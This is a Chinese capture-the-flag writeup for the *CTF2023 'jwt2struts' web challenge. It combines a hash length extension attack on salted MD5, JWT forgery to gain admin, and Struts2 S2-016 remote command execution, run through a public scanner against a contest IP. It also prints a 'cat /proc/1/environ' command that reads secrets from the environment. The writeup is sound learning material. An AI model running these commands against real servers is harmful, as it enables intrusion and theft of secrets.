*CTF2023 web writeup

jwt2struts

进来提示You are now logged in as user. Try to become admin.
查看源代码,在注释处找到JWT_key.php,

<?php  
highlight_file(__FILE__);  
include "./secret_key.php";  
include "./salt.php";  
//$salt = XXXXXXXXXXXXXX // the salt include 14 characters  
//md5($salt."adminroot")=e6ccbf12de9d33ec27a5bcfb6a3293df  
@$username = urldecode($_POST["username"]);  
@$password = urldecode($_POST["password"]);  
if (!empty($_COOKIE["digest"])) {  
    if ($username === "admin" && $password != "root") {  
         if ($_COOKIE["digest"] === md5($salt.$username.$password)) {  
            die ("The secret_key is ". $secret_key);  
        }  
        else {  
            die ("Your cookies don't match up! STOP HACKING THIS SITE.");  
        }  
    }  
    else {  
        die ("no no no");  
    }  
}

这里一开始想着在password处对root二次url编码或者三次,但这样md5($salt.$username.$password)就不行了,也想过用脚本爆破$salt,太慢了
这里也是学到了一个新知识-------hash长度扩展攻击原理
可以参考:
hash长度扩展攻击 | KANGEL (j-kangel.github.io)

Hash拓展长度攻击原理剖析 - FreeBuf网络安全行业门户

  • 屏幕截图 2023-07-29 125410.png
    • 屏幕截图 2023-07-29 125307.png
  • 得到secret_key为sk-he00lctf3r
  • 接下来在jwt网站伪造admin
    屏幕截图 2023-07-29 125307.png
  • 带入得到/admiiiiiiiiiiin路由
    屏幕截图 2023-07-29 125307.png

进去后是个提交框,这时候根据提示名字提示structs,于是找个工具扫扫看
这里我用的是: https://gitcode.net/mirrors/Vancomycin-g/struts2scan
然后直接一把梭了:

python3 Struts2Scan.py -u http://140.210.223.216:55557/admiiiiiiiiiiin/user.action

python3 Struts2Scan.py -u http://140.210.223.216:55557/admiiiiiiiiiiin/user.action -n S2-016 --exec


>cat /proc/1/environ
  • 屏幕截图 2023-07-29 112027.png

  • 屏幕截图 2023-07-29 112012.png
    flag:

*ctf{7r0m_jwt_t0_struts2}
  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值